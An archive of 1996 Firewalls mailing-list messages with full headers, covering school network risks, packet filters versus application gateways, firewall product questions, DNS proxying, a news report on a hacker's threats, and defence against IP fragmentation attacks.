     "Lockheed - last known domestic user of carrier pigeons"

From firewalls-owner  Tue Mar  5 21:12:26 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id UAA20930 for firewalls-outgoing; Tue, 5 Mar 1996 20:26:25 -0800 (PST)
Received: from relay2.UU.NET (relay2.UU.NET [192.48.96.7]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id UAA20912 for <firewalls@greatcircle.com>; Tue, 5 Mar 1996 20:26:20 -0800 (PST)
Received: from cixgate by relay2.UU.NET with SMTP 
	id QQafuv01311; Tue, 5 Mar 1996 23:23:17 -0500 (EST)
Received: from manzanita.DEV.3Com.COM.noname ([139.87.180.206]) by cixgate (4.1/SMI-4.1/3com-cixgate-GCA-931027-01)
	id AA13541; Tue, 5 Mar 96 09:05:06 PST
Received: by manzanita.DEV.3Com.COM.noname (4.1/SMI-4.1)
	id AA12242; Tue, 5 Mar 96 08:48:51 PST
Date: Tue, 5 Mar 96 08:48:51 PST
From: bobk@manzanita.DEV.3Com.COM (Bob Konigsberg)
Message-Id: <9603051648.AA12242@manzanita.DEV.3Com.COM.noname>
To: Mike.Attayek.0199191@nt.com
Subject: Re: None
Cc: firewalls@greatcircle.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

First off, I'd block access to net news (nntp, port 119).  there is far too
much garbage available on any of the news groups that I wouldn't want my
kids exposed to.

I'd probably also block IRC (I forget the port number) to block predators.

Email is also questionable unless it's run through a human screening as well.

Then I'd also run some of the software on the browsing machines that looks
out for questionable material.

In terms of attacks,  if you don't have servers, then there's probably not
much vulnerable there.  However, there are schools that like to have the
students publish their own web page, so you have to look out for creeps that
might want to trash it for their own purposes.

It's a mean world out there.  Overall there are many reasons to protect
your network with a firewall, and not many reasons to leave it open.

BobK

From firewalls-owner  Tue Mar  5 22:21:19 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id WAA27047 for firewalls-outgoing; Tue, 5 Mar 1996 22:03:32 -0800 (PST)
Received: from upsmot01.msn.com (upsmot01.msn.com [204.95.110.78]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id WAA27039 for <firewalls@GreatCircle.com>; Tue, 5 Mar 1996 22:03:27 -0800 (PST)
Received: by upsmot01.msn.com id AA29030; Tue, 5 Mar 96 21:54:22 -0800
Date: Wed, 6 Mar 96 00:21:18 UT
From: "Lachlan Mann" <docloc@msn.com>
Message-Id: <UPMAIL02.199603060601010590@msn.com>
To: firewalls@GreatCircle.com
Subject: Security of Networked Workstations with dial-up PPP Internet!!!
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Folks,

	Picture this:
	Windows95 Workstation on a private network (supposedly 	secure) with dial-up 
PPP to the internet.

I assume that windows 3.11,NT and 95 can forward packets from the PPP link to 
the local network, thereby acting as a router and exposing the private network 
to the internet.
Can anyone give me some specific examples of this ocurring and the security 
effects or point me at a RFC or whitepaper to read?

Thanks in advance,
	Lachlan


	

From firewalls-owner  Wed Mar  6 01:53:20 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id BAA08725 for firewalls-outgoing; Wed, 6 Mar 1996 01:39:45 -0800 (PST)
Received: from mhaaf.inhouse.compuserve.com (mhaaf.inhouse.compuserve.com [149.174.64.79]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id BAA08671 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 01:39:30 -0800 (PST)
Received: from CServe-Hub4.inhouse.compuserve.com (cserve-hub4.inhouse.compuserve.com [149.174.65.43]) by mhaaf.inhouse.compuserve.com (8.6.9/8.6.12) with SMTP id FAA28603.; Wed, 6 Mar 1996 05:02:57 -0500
Received: by CServe-Hub4.inhouse.compuserve.com (IBM OS/2 SENDMAIL VERSION 1.3.2)/2.0)
	  id AA1152; Wed, 06 Mar 96 04:35:38 -0500
Message-Id: <9603060935.AA1152@CServe-Hub4.inhouse.compuserve.com>
Received: from Andersen with "Lotus Notes Mail Gateway for SMTP" id
  33EB2F0BAAA70000C12562E500349516; Wed,  6 Mar 96 04:35:37 
To: firewalls <firewalls@greatcircle.com>
From: "massimo.cotrozzi" <massimo.cotrozzi@ArthurAndersen.com>
Date:  6 Mar 96 10:36:10 
Subject: 4 times:Re: IP fragments and packet filters
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I've received the following message ( and a couple of other more )
 for at least 4 times.
Is there anything wrong with the mailing list or is it my router?

To: cbk @ starbase.ingress.com ("charles b. kaplan")  @ internet
cc: firewalls @ greatcircle.com  @ internet (bcc: Massimo Cotrozzi)
From: Bill_Conaway @ iongate.staff.ichange.com (Bill Conaway) @ internet
Date: 01/03/96 15.37
Subject: Re: IP fragments and packet filters

Charles B. Kaplan wrote:
> 
> >The only time you're ever likely to see a packet with FO=1 is if a bad guy is
> >knocking at your door.
> 
> Would there ever be exceptions to this that would stem from the passing of
> data long distance, and thus forcing the data into a bigger pipe (say an ATM
> link cross country), and then back out of the pipe, possible becoming
> fragmented.

See rfc1858, "Security Considerations for IP Fragment Filtering".

-- 
Eric V. Smith           | Some for renown on scraps of learning dote,
EricSmith@windsor.com   |  And think they grow immortal as they quote.
Windsor Software Corp   +----------------------------------+ Edward Young
http://www.windsor.com/   Windows NT, Unix, SQL Server     |  English poet




From firewalls-owner  Wed Mar  6 03:16:12 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id DAA13618 for firewalls-outgoing; Wed, 6 Mar 1996 03:03:29 -0800 (PST)
Received: from NUki (nuki.netuse.de [193.98.110.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id DAA13598 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 03:03:15 -0800 (PST)
Received: from white by Mail.NetUSE.de with uucp
	(SMail3.1.29.0 #5) ID m0tuH3H-0009HEC: Wed, 6 Mar 96 12:06 MET
Received: by white.schulung.netuse.de (Smail3.1.29.0 #2)
	id m0tuET0-0008vnC; Wed, 6 Mar 96 09:21 MET
Received: from GATEWAY by white.schulung.netuse.de with netnews
	for firewalls@greatcircle.com (firewalls@greatcircle.com)
To: firewalls@greatcircle.com
Date: Wed, 6 Mar 1996 08:14:07 GMT
From: kris@schulung.netuse.de (=?ISO-8859-1?Q?Kristian_K=F6hntopp?=)
Message-ID: <Dnu6vK.HoM@white.schulung.netuse.de>
Organization: =?ISO-8859-1?Q?entf=E4llt?=
References: <199603051647.IAA11840@miles.greatcircle.com>
Subject: Re: Eternal war: gateway versus filtering 
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Firewalls@GreatCircle.COM writes:
>	Yes, they basically are, in general. The biggest
>difference between the two is one of perception.

I see your case now: It is possible to either implement an
application level gateway that handles a protocol or to tap an
incoming connection and attach a state machine (or some other
mechanism) to this connection that tracks the protocol on this
connection at an arbitrary level of detail. 

Still there is a greater difference than just perception.

A packet filter still deals with its information on a packet
level. It gets a new packet from the incoming port, advances all
its state machines and passes the packet on (or drops it and all
packets related to this transaction that might be received in
the future). Sometimes the connection is cut somewhere in the
middle of a transaction. An incoming FTP connection might be
snooped at the content level and the filter does know about the
file. From the connection it has learned that it is an ARJ
compressed exe file for MS-DOS and that it contains well known
viral code. The connection to the target FTP server that is to
be protected is cut at this point by the filter, but a partial
update has been done, leaving dangling connections and a partial
file around.

An proper application level gateway would perhaps perform the
upload into a quarantine area, apply standard tools to the
suspicious file and either let it through in its entirety or
drop it completely.

Of course the packet filter has enough state information to undo
the transaction (if at all possible): It could emit abort and
deletion commands and close the connection, but this would add
even more complexity to the filter. The application level
gateway has an advantage: Both know about higher level
transactions, but the gateway can act on the level of this
transactions dealing with entities of this level while the
packet filter acts on packet level.

If you do security checks, you do them on a certain layer of the
stack. The result of this check is applied to some transaction
on this layer. If implemented properly, the complete
transaction should never happen, if the check fails somehow.

>There's no
>inherent superiority of either application level gateways
>or dynamic packet filters. The superiority comes from
>whether or not there is adequate security-related processing
>for the protocols you want to run through the firewall.

I agree with you that any filter that is going to track a
connection at application level has to be just as complex as
the corresponding application level gateway.

I just think that it might be easier to write and verify such
application specific code for applications (much of this code
already exists) than for something that has to perform such
checks on the fly while it is wading knee deep through partially
received data. 

And it might be easier to withold a certain transaction within
an application level gateway until it is proven to be harmless
than to undo a partially committed transaction that became
harmful in the middle of being executed.

Kristian
-- 
Kristian Koehntopp, Wassilystrasse 30, 24113 Kiel, +49 431 688897
"Ivanova is always right.  I will listen to Ivanova.
 I will not ignore Ivanova's recomendations.  Ivanova is GOD.
 And, if this ever happens again, Ivanova will personally RIP YOUR LUNGS OUT!"
	--The Babylon 5 Mantra

From firewalls-owner  Wed Mar  6 04:04:16 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id DAA16161 for firewalls-outgoing; Wed, 6 Mar 1996 03:45:12 -0800 (PST)
Received: from dns.ottawa.net (dns.ottawa.net [205.211.4.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id DAA16147 for <Firewalls@GreatCircle.COM>; Wed, 6 Mar 1996 03:45:06 -0800 (PST)
Received: from slip-ppp3.ottawa.net (slip-ppp3.ottawa.net [205.211.5.3]) by dns.ottawa.net (8.6.12/8.6.9) with SMTP id GAA19145; Wed, 6 Mar 1996 06:42:31 -0500
Date: Wed, 6 Mar 1996 06:42:31 -0500
Message-Id: <199603061142.GAA19145@dns.ottawa.net>
X-Sender: bjm@ottawa.net
X-Mailer: Windows Eudora Version 1.4.4
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Priority: 2 (High)
To: Mike.Attayek.0199191@nt.com
From: bjm@ottawa.net (Brian McIntosh)
Subject: Re: None
Cc: Firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>                                                       3/5/96
>                                                       8:17 AM
>                                     None
>
>Our school system has a pilot WAN and internet access project with  a large
telecommunications co.  We have, as they say, direct access to the internet,
ie, no firewall.  Could someone elaborate on the risks which our school
children may be exposed to by not operating behind a firewall?
>
>Many thanks!
>
>Mike Attayek
>0199191@nt.com  
>
>
>


First things first; are your administrative records and files located on 
this WAN? -  I certainly hope not.  If they are, a hacker could easily 
tamper with the data in these files (changing marks, evaluations, 
personal data, etc). If the hacker were a really malicious type, they 
could trash the entire works.  Don't feel protected because access 
to these records requires restricted passwords - this presents only 
a minor problem for the accomplished hacker.

If your admin files are accessable via this WAN, I strongly recommend 
that you disconnect yourself from the net  *immediately*. 

Regards,
Brian





===============================================================
 Brian J. McIntosh  
 
 UniSol Inc.     

                53 Courtney Road        Tel:    613 831 6373
                Kanata, Ontario         Fax:    613 831 4739
                Canada, K2L 1M1         Email:  bjm@ottawa.net
===============================================================


From firewalls-owner  Wed Mar  6 05:01:29 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA21087 for firewalls-outgoing; Wed, 6 Mar 1996 04:54:30 -0800 (PST)
Received: from ragnarok.hks.com (ragnarok.hks.com [192.101.199.9]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id EAA21080 for <firewalls@GreatCircle.COM>; Wed, 6 Mar 1996 04:54:25 -0800 (PST)
Received: from ragnarok (localhost [127.0.0.1]) by ragnarok.hks.com (8.7.3/8.7.3) with SMTP id HAA28923; Wed, 6 Mar 1996 07:52:17 -0500 (EST)
Message-ID: <313D8A80.794B@hks.com>
Date: Wed, 06 Mar 1996 07:52:16 -0500
From: Jim Littlefield <little@hks.com>
Organization: Hibbitt, Karlsson & Sorensen, Inc.
X-Mailer: Mozilla 2.0 (X11; I; IRIX 5.3 IP20)
MIME-Version: 1.0
To: Lee Hooi Teck <teck@mimos.MY>
CC: "firewalls@greatcircle.com" <firewalls@GreatCircle.COM>
Subject: Re: Web Caching Proxy Servers
References: <9603060205.AA03019@ms.mimos.my>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Lee Hooi Teck wrote:
> 
> Anybody have any statics about how big the cache memory and TTL should
> be for different sizes of users segment?
> 
> I am currently trying to use Harvest but do not know what are the
> capacities needed for web caching proxy servers for 15k user base.

We are using the default values with the Harvest cache. I am not sure
what the best approach is so far as tuning this software. The WAG method
appears to be the only option ;)

-- 
Jim Littlefield            "One time a cop pulled me over for running a
                            stop sign. He said, 'Didn't you see the stop
                            sign?' I said, 'Yeah, but I don't believe
                            everything I read.'" - Steven Wright

From firewalls-owner  Wed Mar  6 05:54:06 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA23739 for firewalls-outgoing; Wed, 6 Mar 1996 05:42:43 -0800 (PST)
Received: from godel2.bim.be (godel2.bim.be [141.253.4.135]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA23726 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 05:42:35 -0800 (PST)
Received: from galileo.mumath by godel2.bim.be (SMI-8.6/SMI-SVR4)
	id OAA08753; Wed, 6 Mar 1996 14:43:23 +0100
Received: by galileo.mumath (5.x/SMI-SVR4)
	id AA02498; Wed, 6 Mar 1996 14:40:20 +0100
Date: Wed, 6 Mar 1996 14:40:20 +0100
From: pc@godel2.bim.be (Philippe Cayphas)
Message-Id: <9603061340.AA02498@galileo.mumath>
To: firewalls@greatcircle.com
Subject: Infos on Blackhole and Sterling firewall
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hello world,

I'm looking for technical opinions on the two firewall products:

	- Blackhole
	- Sterling

Have some of you already use them? Which is your level of satisfaction?

Thank you.

Philippe
--
        Ph. Cayphas
        Senior Engineer


E-Mail: pc@bim.be

Telephone: +32(10)47.08.32      Fax : +32(10)47.08.11

Postal Mail :
        Ph. Cayphas
        BIM sa
        4, Av. Albert Einstein
        1348 Louvain-La-Neuve
        Belgium


From firewalls-owner  Wed Mar  6 06:13:29 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA24522 for firewalls-outgoing; Wed, 6 Mar 1996 05:51:53 -0800 (PST)
Received: from charlotte.pstnet.com ([206.65.21.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA24513 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 05:51:47 -0800 (PST)
Received: from becster.pstnet.com (becster.pstnet.com [221.1.1.21]) by charlotte.pstnet.com (8.6.11/8.6.11) with SMTP id IAA09346 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 08:54:12 -0500
Received: by becster.pstnet.com with Microsoft Mail
	id <01BB0B3A.6F387400@becster.pstnet.com>; Wed, 6 Mar 1996 08:53:48 -0500
Message-ID: <01BB0B3A.6F387400@becster.pstnet.com>
From: "William J. Lugaila" <williaml@mail.pstnet.com>
To: "'firewalls@greatcircle.com'" <firewalls@greatcircle.com>
Subject: NT Firewalls
Date: Wed, 6 Mar 1996 08:53:45 -0500
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I am looking for a firewall that would run on a NT Server platform. I =
need it to be inexpensive, run as a service, and  some other things. =
Does anyone have any ideas or where I can get information?

William J. Lugaila

From firewalls-owner  Wed Mar  6 06:31:36 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA23312 for firewalls-outgoing; Wed, 6 Mar 1996 05:36:17 -0800 (PST)
Received: from hprofsdv.nwscc.sea06.navy.mil (hprofsdv.nwscc.sea06.navy.mil [130.163.113.128]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id FAA23303 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 05:36:13 -0800 (PST)
Message-Id: <199603061336.FAA23303@miles.greatcircle.com>
Received: by hprofsdv.nwscc.sea06.navy.mil
	(1.37.109.14/16.2) id AA296109250; Wed, 6 Mar 1996 08:34:10 -0500
From: John Bell <job@hprofsdv.nwscc.sea06.navy.mil>
Subject: Re: None
To: Mike.Attayek.0199191@nt.com
Date: Wed, 6 Mar 96 8:34:10 EST
Cc: firewalls@greatcircle.com
Reply-To: job@hprofsdv.nwscc.sea06.navy.mil
In-Reply-To: <n1386108333.70107@nrtpq01.rtp.nt.com>; from "Mike Attayek" at Mar 5, 96 1:18 pm
Mailer: Elm [revision: 70.85.2.1]
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> Our school system has a pilot WAN and internet access project with  a =
> large telecommunications co.  We have, as they say, direct access to the =
> internet, ie, no firewall.  Could someone elaborate on the risks which =
> our school children may be exposed to by not operating behind a firewall?
> 
> Many thanks!
> 

What? No risk analysis and/or policy development before implementation?

*sigh*

What do you consider important? What's worth protecting? Is your policy
feasible?

Gotta do this stuff before you hook up, folks...
--
                        John Bell, CACI Inc (Federal)
           Bloomington, Indiana (Midwest RE-Engineering Division)
        job@hprofsdv.nwscc.sea06.navy.mil -OR- jbii@mama.indstate.edu
                      "Hi ho! Yow! I'm surfing ARPANET!"
                 - anagram for "The Information Superhighway"

From firewalls-owner  Wed Mar  6 06:46:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA23355 for firewalls-outgoing; Wed, 6 Mar 1996 05:36:32 -0800 (PST)
Received: from nexus.ptech.com (aegis.ptech.com [165.166.50.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA23341 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 05:36:24 -0800 (PST)
Received: from felix.ptech.com by nexus.ptech.com (5.x/Piedmont Technology Group)
	id AA13561; Wed, 6 Mar 1996 08:31:14 -0500
Date: Wed, 6 Mar 1996 08:31:14 -0500
Message-Id: <9603061331.AA13561@nexus.ptech.com>
X-Sender: jnb@nexus.ptech.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: cameron@deet.gov.au, firewall-1@applicom.co.il
From: Jim Brown <jim.brown@ptech.com>
Subject: FireWall-1 Unofficial Web Site
Cc: firewalls@greatcircle.com, charles.hutson@ptech.com,
        ray.locklear@ptech.com, starr.hill-bennett@ptech.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Hello,

I am interested in providing an "unofficial" firewall-1 web and
ftp site.  I know that there are lots of people hacking up perl
and INSPECT code to tweak firewall-1 for their purposes.  I
would like our web site (http://www.ptech.com) to provide a clearing
house for firewall-1 information of all types.

So... I welcome your feedback.  If you have tips, tricks or code
to contribute, please e-mail it to me.  I will make sure the authors 
are given full credit.  If you have been looking for firewall-1 site 
like this (like we have!), let me know.  However, if you think this is 
stupid idea, let me know that too.  :)

On a related topic, I am also considering setting up a list server to
announce significant changes that are made to this site.  Let me know
what yall think about that too ...

Regards,

Jim



From firewalls-owner  Wed Mar  6 07:01:15 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA27321 for firewalls-outgoing; Wed, 6 Mar 1996 06:55:34 -0800 (PST)
Received: from tuna.wang.com (tuna.wang.com [150.124.136.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA27316 for <firewalls@GreatCircle.com>; Wed, 6 Mar 1996 06:55:29 -0800 (PST)
Received: from mail.wangfed.com (ns.wangfed.com [159.94.10.19])
    by tuna.wang.com (8.6.12/8.6.12tf1) with SMTP id JAA10566
    for <firewalls@GreatCircle.com>; Wed, 6 Mar 1996 09:54:01 -0500
Received: from hfsi.hfsi.com by mail.wangfed.com (1.37.109.4/A.09.00a)
	id AA08319; Wed, 6 Mar 96 09:44:20 -0600
Received: from [159.94.14.48] by hfsi (BULL 5.61++/B.O.S 02.01)
	id AA11765; Wed, 6 Mar 96 09:48:46 -0500
Date: Wed, 6 Mar 96 09:48:46 -0500
Message-Id: <9603061448.AA11765@hfsi>
From: "KM"  <goertzek@gateway.wangfed.com>
Reply-To: "KM"  <goertzek@wangfed.com>
To: firewalls@GreatCircle.com
Subject: [C4I-Pro] Boston Paper Fears Hacker Attack (fwd)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

------------ Forwarded Message begins here ------------
Date: 5 Mar 1996 12:25:52 CST
From: sysop@emergency.com
To: ceo@oss.net
Subject: Boston Paper Fears Hacker Attack

BOSTON, March 5 (UPI) -- The Boston Herald said Tuesday it is being
threatened by a computer hacker enraged over stories suggesting he
harrassed an Internet provider.
   The newspaper said the hacker, known as "u4ea," also has threatened
"electronic terrorism" to cripple computer networks around Boston.
   "All of Boston is going down," the Herald said the hacker told Jason
Hatch, the system administrator for the BerkshireNet, an Internet
provider in western Massachusetts.
   The threat was made Monday during an Internet conversation between
Hatch and the hacker, the Herald said. Hatch provided the Herald with a
printed copy of his conversation with the hacker.
   BerkshireNet has been harassed by the hacker since November because
it tried to stop "u4rea" from sending out racist messages worldwide
under its name, the Herald said.
   The hacker last week got into BerkshireNet's system and erased the
memory from two of its three computers. He also put white supramacist
materials on BerkshireNet's system, Hatch said.
   Because the Herald published several stories about his computer
assaults, the hacker told Hatch, "The Boston Herald goes down."
   The FBI has been investigating, but has declined to comment other
than to say "these are certainly serious threats."
   Hatch said the hacker is "very skilled" and "can pretty much go
anywhere he wants to go."
   He said the hacker warned him not to talk to the media or he would 
"involve your family."
   The Herald said some system administrators believe the hacker is
operating out of Canada.
   The paper said the hacker has also taunted the FBI, saying the FBI 
"will have more luck finding Elvis than finding the mighty u4ea. The
FBI cannot touch me."
   Hatch said the hacker signed off with this threat: "You have yet to
see true electronic terrorism. This is a promise."

Presented for the information of law enforcement and computer security
professionals...not for redistibution. Copyright is by United Press
International


------------ Forwarded Message ends here ------------


K.M. Goertzel
Manager, International Programs and Special Projects
Secure Systems and Services Operation
Wang Federal, Inc.
7900 Westpark Drive - MS 700
McLean, Virginia  22102-4299
TEL: 703-827 3914
FAX: 703-827 3161
goertzek@wangfed.com
http://www.wangfed.com

+----------------------------------------------+
|                        ...I guessed not half |
| Life's symphony till I had made hearts beat, |
| And touched Love's body into trembling cries |
|                       -- Wilfred Owen, MUSIC |
+----------------------------------------------+


From firewalls-owner  Wed Mar  6 07:24:46 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA27839 for firewalls-outgoing; Wed, 6 Mar 1996 07:04:04 -0800 (PST)
Received: from tuna.wang.com (tuna.wang.com [150.124.136.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA27824 for <firewalls@GreatCircle.com>; Wed, 6 Mar 1996 07:03:59 -0800 (PST)
Received: from mail.wangfed.com (ns.wangfed.com [159.94.10.19])
    by tuna.wang.com (8.6.12/8.6.12tf1) with SMTP id KAA10841
    for <firewalls@GreatCircle.com>; Wed, 6 Mar 1996 10:02:31 -0500
Received: from hfsi.hfsi.com by mail.wangfed.com (1.37.109.4/A.09.00a)
	id AA08400; Wed, 6 Mar 96 09:52:25 -0600
Received: from [159.94.14.48] by hfsi (BULL 5.61++/B.O.S 02.01)
	id AA11818; Wed, 6 Mar 96 09:56:45 -0500
Date: Wed, 6 Mar 96 09:56:45 -0500
Message-Id: <9603061456.AA11818@hfsi>
From: "KM"  <goertzek@gateway.wangfed.com>
Reply-To: "KM"  <goertzek@wangfed.com>
To: firewalls@GreatCircle.com
Subject: Re: [C4I-Pro] CVIRUS PART 3 OF 3 (fwd)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Sorry - I sent all three parts to the list, but parts 1 and 2 apparently got 
swallowed up by the Great Void of Cyberspace.  I'll dig them out again and post 
later.  Again, sorry for the problem.




K.M. Goertzel
Manager, International Programs and Special Projects
Secure Systems and Services Operation
Wang Federal, Inc.
7900 Westpark Drive - MS 700
McLean, Virginia  22102-4299
TEL: 703-827 3914
FAX: 703-827 3161
goertzek@wangfed.com
http://www.wangfed.com

+----------------------------------------------+
|                        ...I guessed not half |
| Life's symphony till I had made hearts beat, |
| And touched Love's body into trembling cries |
|                       -- Wilfred Owen, MUSIC |
+----------------------------------------------+


From firewalls-owner  Wed Mar  6 08:54:11 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA00790 for firewalls-outgoing; Wed, 6 Mar 1996 07:49:46 -0800 (PST)
Received: from lint.cisco.com (lint.cisco.com [171.68.235.77]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA00785 for <Firewalls@GreatCircle.COM>; Wed, 6 Mar 1996 07:49:42 -0800 (PST)
Received: from pferguso-pc.cisco.com (c1robo12.cisco.com [171.68.13.12]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id HAA11575; Wed, 6 Mar 1996 07:47:19 -0800
Message-Id: <199603061547.HAA11575@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 06 Mar 1996 10:48:09 -0500
To: Barney Wolff <barney@databus.com>
From: Paul Ferguson <pferguso@cisco.com>
Subject: Re: IP fragmentation attacks (was: Pentagon displays due
  respect...)
Cc: Firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 01:15 PM 3/5/96 EST, Barney Wolff wrote:

>>
>>At least two fragments are sent. (It may require a third.)
>>A) FO=0 length >= 16  [i.e. A complete header ]
>>B) FO=0, length 8 bytes [i.e. Ports & Sequence number only]

[snip]

>
>The key to defeating this is to drop fragment B.  While it is strictly
>speaking legal, in practice it's all but certain to be an attack and
>nothing is lost by dropping it.
>

Correct.  :-)

- paul

--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Wed Mar  6 09:06:55 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA01158 for firewalls-outgoing; Wed, 6 Mar 1996 07:52:44 -0800 (PST)
Received: from sigma.eafit.edu.co (sigma.eafit.edu.co [157.253.102.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA00720 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 07:47:04 -0800 (PST)
Received: by sigma.eafit.edu.co (5.x/SMI-SVR4)
	id AA08761; Wed, 6 Mar 1996 10:45:02 +0500
Date: Wed, 6 Mar 1996 10:45:01 +0500 (GMT)
From: Edwin Montoya <emontoya@sigma.eafit.edu.co>
To: firewalls@greatcircle.com
Subject: DNS proxy
In-Reply-To: <9603042029.AA28873@ cynic.org>
Message-Id: <Pine.SOL.3.91.960306080252.5693E-100000@sigma.eafit.edu.co>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Hello,

I'm implementing address based in rfc-1597, but I have a problem with DNS 
because the nodes in private internet couldn't be in main DNS.

where can I find information, papers, software or experiences about how 
implementing DNS proxy for private internet.

thanks in advance.


***********************************************************
	Edwin N. Montoya 
	Universidad EAFIT
	tel : 385-72-58
	Medellin - Colombia
***********************************************************

On Mon, 4 Mar 1996, Perry The Cynic wrote:

> For those who asked (more than I expected...):
> 
> My AOL relay demon can be retrieved via anonymous ftp from
> 
> 	ftp.amdahl.com:/pub/users/perry/aolrelay.tar
> 
> If for some reason you have trouble using ftp, drop me a note
> and I'll mail you a copy.
> 
> For those who asked what the big deal is - it isn't. It took me
> about two hours to write the thing, and another hour to document it.
> I'm sure that plug-gw will do fine; for that matter, a judicious
> hole in your router will do. I just happen to have a preference for
> custom relays.
> 
> Cheers
>   -- perry
> ------------------------------------------------------------------------
> Perry The Cynic                                          perry@cynic.org
> To a blind optimist, an optimistic realist must seem like a Cursed Cynic.
> ------------------------------------------------------------------------
> 


From firewalls-owner  Wed Mar  6 09:07:12 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA02194 for firewalls-outgoing; Wed, 6 Mar 1996 08:15:48 -0800 (PST)
Received: from tera.bctel.net (tera.bctel.net [204.174.64.252]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id IAA02187 for <firewalls@GreatCircle.COM>; Wed, 6 Mar 1996 08:15:42 -0800 (PST)
Received: (from nobody@localhost) by tera.bctel.net (8.7.4/8.7.1) id IAA22276; Wed, 6 Mar 1996 08:16:02 -0800 (PST)
X-Authentication-Warning: tera.bctel.net: nobody set sender to <murrell@bctel.net> using -f
Received: from mocha.bctel.net(204.174.66.5) by tera via smap (V1.3)
	id sma022274; Wed Mar  6 08:15:58 1996
Received: (from murrell@localhost) by mocha.bctel.net (8.7.1/8.7.1) id IAA05669; Wed, 6 Mar 1996 08:14:52 -0800 (PST)
From: Brian Murrell <murrell@bctel.net>
Message-Id: <199603061614.IAA05669@mocha.bctel.net>
Date: Wed, 6 Mar 1996 08:14:50 -0800 (PST)
To: jim.brown@ptech.com
Cc: cameron@deet.gov.au, firewall-1@applicom.co.il, firewalls@GreatCircle.COM,
        charles.hutson@ptech.com, ray.locklear@ptech.com,
        starr.hill-bennett@ptech.com
Subject: Re: FireWall-1 Unofficial Web Site
In-Reply-To: <9603061331.AA13561@nexus.ptech.com>
X-Mailer: Ishmail 1.2-960212-sol24 <http://www.halsoft.com/products/ishmail>
MIME-Version: 1.0
Content-Type: text/plain
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

